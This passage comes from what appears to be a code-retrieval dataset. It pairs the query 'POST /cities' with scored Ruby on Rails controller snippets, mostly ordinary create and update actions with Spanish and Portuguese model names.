"text": "def update\n respond_to do |format|\n if @objeto.update(caracteristica_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Caracteristica was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc1b4a6cf3b27bc0a6459ca7c9862647",
"score": "0.6074341",
"text": "def update\n respond_to do |format|\n if @regra_negocio.update(regra_negocio_params)\n format.html { redirect_to @regra_negocio, notice: 'Regra negocio was successfully updated.' }\n format.json { render :show, status: :ok, location: @regra_negocio }\n else\n format.html { render :edit }\n format.json { render json: @regra_negocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "517abd6cc935b061c85a250697d7a7d1",
"score": "0.60712767",
"text": "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f18579b471b3bc486f0d2761450ea96",
"score": "0.60650396",
"text": "def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27ce301e03a15c9f2360e8a102809135",
"score": "0.60639185",
"text": "def update\n respond_to do |format|\n if @consultorio_n.update(consultorio_n_params)\n format.html { redirect_to @consultorio_n, notice: 'Consultorio n was successfully updated.' }\n format.json { render :show, status: :ok, location: @consultorio_n }\n else\n format.html { render :edit }\n format.json { render json: @consultorio_n.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bde6287d777a5867ddca7bf3501027f4",
"score": "0.6061943",
"text": "def update\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n if @remito.update_attributes(params[:remito])\n format.html { redirect_to @remito, notice: 'Remito was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @remito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "940daa9fd1f01d3dcfd94f8e0e18aaa8",
"score": "0.605835",
"text": "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db20680d5294f4165e2c68b50d1bfef6",
"score": "0.60539913",
"text": "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87f9018f7aa288b83ee0480252ac6ba1",
"score": "0.6052089",
"text": "def update\n respond_to do |format|\n if @solicitacao.update(solicitacao_params)\n format.html { redirect_to @solicitacao, notice: 'Solicitacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0da246670aac6789b9716f32ec1c35b3",
"score": "0.60498863",
"text": "def update\n update_resource @ride, ride_params\n end",
"title": ""
},
{
"docid": "f6321601ad5cd219547b696060a0ed67",
"score": "0.6048316",
"text": "def update\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n if @ativo_outro.update_attributes(params[:ativo_outro])\n format.html { redirect_to @ativo_outro, notice: 'Ativo foi salvo com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ativo_outro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3274a725bc68efcc2cebde4a5a9038e3",
"score": "0.6046176",
"text": "def update\n @formulary = Formulary.find(params[:id])\n\n respond_to do |format|\n if @formulary.update_attributes(params[:formulary])\n format.html { redirect_to @formulary, notice: 'Formulario actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d9ea92d1cc73f0e2c2b00d34edbe3df",
"score": "0.6044801",
"text": "def update\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n\n respond_to do |format|\n if @reputacao_veiculo.update_attributes(params[:reputacao_veiculo])\n format.html { redirect_to(@reputacao_veiculo, :notice => 'A reputacao do veiculo foi atualizada com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reputacao_veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a50594c564901bf812427a4d247b028f",
"score": "0.6043431",
"text": "def update\n authorize! :update, Solicitud\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to solicitudes_path, notice: 'Solicitud actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: solicitudes_path }\n else\n format.html { render :edit }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dfca0d02151d0d83f56ddacc7a950ccc",
"score": "0.6042861",
"text": "def update\n @entrada_inventario = EntradaInventario.find(params[:id])\n\n respond_to do |format|\n if @entrada_inventario.update_attributes(params[:entrada_inventario])\n format.html { redirect_to @entrada_inventario, notice: 'Entrada inventario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entrada_inventario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "57d009bb8775104a4aa805c98e4af16a",
"score": "0.6040225",
"text": "def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6d270f6c94bf7bb3cebc3466c893c97",
"score": "0.6037891",
"text": "def update\n respond_to do |format|\n if @objeto.update(revista_params)\n format.html { redirect_to @objeto, notice: 'Revista was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1908d1b486f35d7bafdb8f6d526c6490",
"score": "0.6036814",
"text": "def update\r\n respond_to do |format|\r\n if @relatorio.update(relatorio_params)\r\n format.html { redirect_to @relatorio, notice: 'Relatório atualizado com sucesso.' }\r\n format.json { render :show, status: :ok, location: @relatorio }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "55ec7013b8fd5255ce78fb09265efd49",
"score": "0.60346997",
"text": "def update\n respond_to do |format|\n if @cliente_registro.update(cliente_registro_params)\n format.html { redirect_to @cliente_registro, notice: 'Cliente registro was successfully updated.' }\n format.json { render :show, status: :ok, location: @cliente_registro }\n else\n format.html { render :edit }\n format.json { render json: @cliente_registro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29cd076f6539d646b312d38ae0f9e849",
"score": "0.60333514",
"text": "def update\n @seguidore = Seguidore.find(params[:id])\n\n respond_to do |format|\n if @seguidore.update_attributes(params[:seguidore])\n format.html { redirect_to @seguidore, notice: 'Seguidore was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguidore.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8545fb8b7bd1c79804b26a475daee3d0",
"score": "0.6033191",
"text": "def update\n respond_to do |format|\n if @rescate.update(rescate_params)\n format.html { redirect_to @rescate, notice: 'Rescate se actualizo' }\n format.json { render :show, status: :ok, location: @rescate }\n else\n format.html { render :edit }\n format.json { render json: @rescate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75a267d7bd6fa51893f0207782ba9e80",
"score": "0.6029632",
"text": "def update\n respond_to do |format|\n if @solicitante.update(solicitante_params)\n format.html { redirect_to @solicitante, notice: 'Solicitante was successfully updated.' }\n format.json { render :show, status: :ok, location: @solicitante }\n else\n format.html { render :edit }\n format.json { render json: @solicitante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ab257f2404db7986a588b48bea9c9c1",
"score": "0.6028872",
"text": "def update\n respond_to do |format|\n if @resveration.update(resveration_params)\n format.html { redirect_to @resveration, notice: 'Resveration was successfully updated.' }\n format.json { render :show, status: :ok, location: @resveration }\n else\n format.html { render :edit }\n format.json { render json: @resveration.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28a96743af865adb90a03fce5ef02264",
"score": "0.60285455",
"text": "def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08a0fd96e378ecd9f676516ecd3f66c9",
"score": "0.60237634",
"text": "def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ee3a63b8c0fed949e84567631cb44776",
"score": "0.6023221",
"text": "def update\n respond_to do |format|\n if @objeto.update(carpeta_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Carpeta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37c94fc1fa3d2ea2e881a203d7a3529d",
"score": "0.60213155",
"text": "def update\n @nominee = Nominee.find(params[:id])\n\n respond_to do |format|\n if @nominee.update_attributes(params[:nominee])\n format.html { redirect_to @nominee, notice: 'Nominee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @nominee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f8eb3821a62ffc4e10385d5745ded7a",
"score": "0.6020875",
"text": "def update\n @endereco = Endereco.find(params[:id])\n\n respond_to do |format|\n if @endereco.update_attributes(params[:endereco])\n format.html { redirect_to \"/dados\", notice: 'O endereço foi alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @endereco.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6761b86ad528cc3130bc67449564ad22",
"score": "0.60127413",
"text": "def update\n respond_to do |format|\n if @repuesto_servicio.update(repuesto_servicio_params)\n format.html { redirect_to @repuesto_servicio, notice: 'Repuesto o servicio fue actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @repuesto_servicio }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bc0b4302e4e44808c11b5654e01b99a2",
"score": "0.6008509",
"text": "def update\n respond_to do |format|\n if @itinerario_realizado.update(itinerario_realizado_params)\n format.html { redirect_to @itinerario_realizado, notice: 'Itinerario realizado was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @itinerario_realizado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cff914dc49bcaf082fc3572d974369c0",
"score": "0.60079753",
"text": "def update\n @mensaje = \"(deje en blanco si no desea modificar el archivo actual)\"\n @requisition.update(requisition_params)\n @requisition.solicitante = @requisition.solicitante.upcase\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully updated.' }\n format.json { render :show, status: :ok, location: @requisition }\n else\n format.html { render :edit }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c23e5798fa965fbac221acfa947b7e8f",
"score": "0.60004526",
"text": "def update\n respond_to do |format|\n if @iscrizione.update(iscrizione_params)\n format.html { redirect_to @iscrizione, notice: \"Iscrizione was successfully updated.\" }\n format.json { render :show, status: :ok, location: @iscrizione }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @iscrizione.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1e6b4a943d16f64c5797935f4f87b37a",
"score": "0.6000291",
"text": "def update\n\n @empresa_servicio = EmpresaServicio.find(params[:id])\n respond_to do |format|\n if @empresa_servicio.update_attributes(params[:empresa_servicio])\n\n format.html { redirect_to empresa_empresa_servicios_path, notice: \"Los datos del servicio fueron actualizados para la empresa #{@empresa_servicio.empresa.nombre_empresa}\"}\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @empresa_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb7a663f41e552d80dc46900e90ad457",
"score": "0.5997611",
"text": "def update\n @recursorevision = @solicitud.recursosrevision.find(params[:id])\n\n respond_to do |format|\n if @recursorevision.update_attributes(params[:recursorevision])\n format.html { redirect_to([@solicitud,@recursorevision], :notice => 'Recurso revisión actualizado con exito.') }\n format.xml { head :ok }\n else \n format.html { render :action => \"edit\" }\n format.xml { render :xml => @recursorevision.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afe8842491082940a4f55280546d7f17",
"score": "0.5997292",
"text": "def update\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n if @soiree.update_attributes(params[:soiree])\n format.html { redirect_to @soiree, notice: 'Soiree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8498b9e1e3f49838be8a740667deb6f1",
"score": "0.59953535",
"text": "def update\n respond_to do |format|\n @articulo = Articulo.find(params[:id])\n if @articulo.update(articulo_params)\n format.html { redirect_to \"/articulos/#{@articulo.url}\", notice: 'Articulo was successfully updated.' }\n format.json { render :show, status: :ok, location: @articulo }\n else\n format.html { render :edit }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a793701b9c0d5bb378b44bfeeafaf21",
"score": "0.59893125",
"text": "def update\n respond_to do |format|\n if @emprestimo.update(emprestimo_params)\n format.html { redirect_to @emprestimo, notice: 'Reserva/Empréstimo foi Atualizado.' }\n format.json { render :show, status: :ok, location: @emprestimo }\n else\n format.html { render :edit }\n format.json { render json: @emprestimo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cd6a293c567e0ad1e25f91026ad51e6",
"score": "0.5988733",
"text": "def update\n respond_to do |format|\n if @cierre.update(cierre_params)\n format.html { redirect_to @cierre, success: 'Cierre was successfully updated.' }\n format.json { render :show, status: :ok, location: @cierre }\n else\n format.html { render :edit }\n format.json { render json: @cierre.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855f81d29ee8ff100cfefb3479cedcdd",
"score": "0.59870785",
"text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "a5c8151baadeacd8d7428c1d4572f33b",
"score": "0.5984717",
"text": "def update\n @articuloind = Articuloind.find(params[:id])\n\n respond_to do |format|\n if @articuloind.update_attributes(params[:articuloind])\n format.html { redirect_to @articuloind, :notice => 'Articuloind was successfully updated.' }\n format.json { render json: @articuloind }\n else\n format.html { render :action => \"edit\" }\n format.json { render json: @articuloind.errors }\n end\n end\n end",
"title": ""
},
{
"docid": "ba193d5f633973f0ad3b0325974d16ac",
"score": "0.59795946",
"text": "def update\n respond_to do |format|\n if @aquisicao.update(aquisicao_params)\n format.html { redirect_to @aquisicao, notice: 'Aquisicao was successfully updated.' }\n format.json { render :show, status: :ok, location: @aquisicao }\n else\n format.html { render :edit }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0366fe7ccaec756fae2b3b5010aa3e25",
"score": "0.59757245",
"text": "def update\n respond_to do |format|\n if @pregoestitulosgrafico.update(pregoestitulosgrafico_params)\n format.html { redirect_to @pregoestitulosgrafico, notice: 'Pregoestitulosgrafico was successfully updated.' }\n format.json { render :show, status: :ok, location: @pregoestitulosgrafico }\n else\n format.html { render :edit }\n format.json { render json: @pregoestitulosgrafico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fcd38e2300f77adb8cfcc16131d07e66",
"score": "0.59738296",
"text": "def update\n @frequencia_orgao = Frequencia::Orgao.find(params[:id])\n\n respond_to do |format|\n if @frequencia_orgao.update_attributes(params[:frequencia_orgao])\n format.html { redirect_to(@frequencia_orgao, :notice => 'Orgão atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequencia_orgao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66cc6f8c37c1a0eec71b5261e03fe9c8",
"score": "0.59729856",
"text": "def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4f005403f749a7cd2e207c0220fcac3",
"score": "0.5972453",
"text": "def update\n @voluntario = Voluntario.find(params[:id])\n params[:voluntario].delete :inclusoes\n\n respond_to do |format|\n if @voluntario.update_attributes(params[:voluntario])\n format.html { redirect_to(@voluntario, :notice => 'Voluntário atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @voluntario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0aad73bf1a76bcd959d698930967cae3",
"score": "0.5967892",
"text": "def update\n respond_to do |format|\n if @rodada.update(rodada_params)\n # notifica # TODO: reativar depois\n format.html { redirect_to @rodada, notice: 'A Rodada foi atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @rodada }\n\n log = File.new(\"LOG SISFILA.txt\", \"a+\")\n log.puts \"#{Time.new.day}/#{Time.new.month}/#{Time.new.year} #{Time.new.hour}:#{Time.new.min}:#{Time.new.sec} - A rodada #{@rodada.descricao} foi atualizada para:\"\n log.puts \"ID DA RODADA: #{@rodada.id}, DESCRICAO: #{@rodada.descricao}, POSICAO ATUAL: #{@rodada.posicao_atual}, INSCRICAO GUEST: #{@rodada.inscricao_guest}. \\n\\n\"\n log.close\n else\n format.html { render :edit }\n format.json { render json: @rodada.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f08e3ccf96276aef5fcc123e84bb77ce
|
POST /cities POST /cities.json
|
[
{
"docid": "03225d4867432de9d5435aaed9627198",
"score": "0.61616117",
"text": "def create\n @city = City.new(city_params)\n end",
"title": ""
}
] |
[
{
"docid": "c4b0b159e3ed0ae4a733499ff06f1dbb",
"score": "0.69075155",
"text": "def create\n @city = City.new(city_params)\n\n if @city.save\n render json: @city, status: :created, location: @city\n else\n render json: @city.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f5881a03b63b930fb26da45123d631b5",
"score": "0.6746077",
"text": "def create\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to cities_url, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :index }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a8e1bb4066968058dfd4006473b55d9",
"score": "0.6675533",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to cities_path, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e65b6566e855c61e86369bee7a33d48",
"score": "0.66394126",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to cities_url, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c1306c73648cbf7d2aed6c89ef51ab1",
"score": "0.6618982",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to cities_url, notice: \"#{@city.city} was successfully created.\" }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c29d89c74c23013445c1723353ebc238",
"score": "0.6614649",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to city_url(@city.id), notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0ad14faf5e9e3cdd7166eaf57b25ba9",
"score": "0.660418",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, :notice => 'City was successfully created.' }\n format.json { render :json => @city, :status => :created, :location => @city }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b904db19a8db1c8e64e438c6af4621ee",
"score": "0.6600662",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b904db19a8db1c8e64e438c6af4621ee",
"score": "0.6600662",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b904db19a8db1c8e64e438c6af4621ee",
"score": "0.6600662",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b904db19a8db1c8e64e438c6af4621ee",
"score": "0.6600662",
"text": "def create\n @city = City.new(params[:city])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc737accfaf08e2a0abd4697a0c3b65a",
"score": "0.6579756",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.json { render action: 'show', status: :created, location: @city }\n else\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e26f0a5cc2e3b01e30be97a727d83d38",
"score": "0.65502304",
"text": "def create\n if $cities.key?(@name)\n redirect_to :action => 'view'\n else\n new_city = City.new(\n name: params[:name],\n landmark: params[:landmark],\n population: params[:population],\n )\n new_city.save\n redirect_to :action => 'view'\n end\n end",
"title": ""
},
{
"docid": "af2667c06f158d1c4ab49db40148e6a9",
"score": "0.6517689",
"text": "def create\n @city = City.new(city_params)\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cb0dbd1077330c2ced0e1e3f67fbed",
"score": "0.65068585",
"text": "def create\n @city = City.new(city_params)\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render :show, status: :created, location: @city }\n else\n format.html { render :new }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3bb8963ebadffd348c771b17985beb7d",
"score": "0.6493374",
"text": "def create\n @api_city = Api::City.new(api_city_params)\n\n if @api_city.save\n render json: @api_city, status: :created, location: @api_city\n else\n render json: @api_city.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c4d6bb73c45fad5959b48f4282dfd14d",
"score": "0.64922374",
"text": "def cities\n state = params[:state]\n respond_to do |format|\n format.json { render json: {cities: CS.cities(state)}}\n format.html { render json: {cities: CS.cities(state)}}\n end\n end",
"title": ""
},
{
"docid": "565435fbf6533b1e84c18059ac42a528",
"score": "0.648119",
"text": "def create\n @city = City.new(params[:city_id])\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f00b025f7a4a01b6811779c7b39a360a",
"score": "0.6470068",
"text": "def index\n \n render json: @cities\n end",
"title": ""
},
{
"docid": "2986ff35a79936b414f747e40cda1dd2",
"score": "0.64538383",
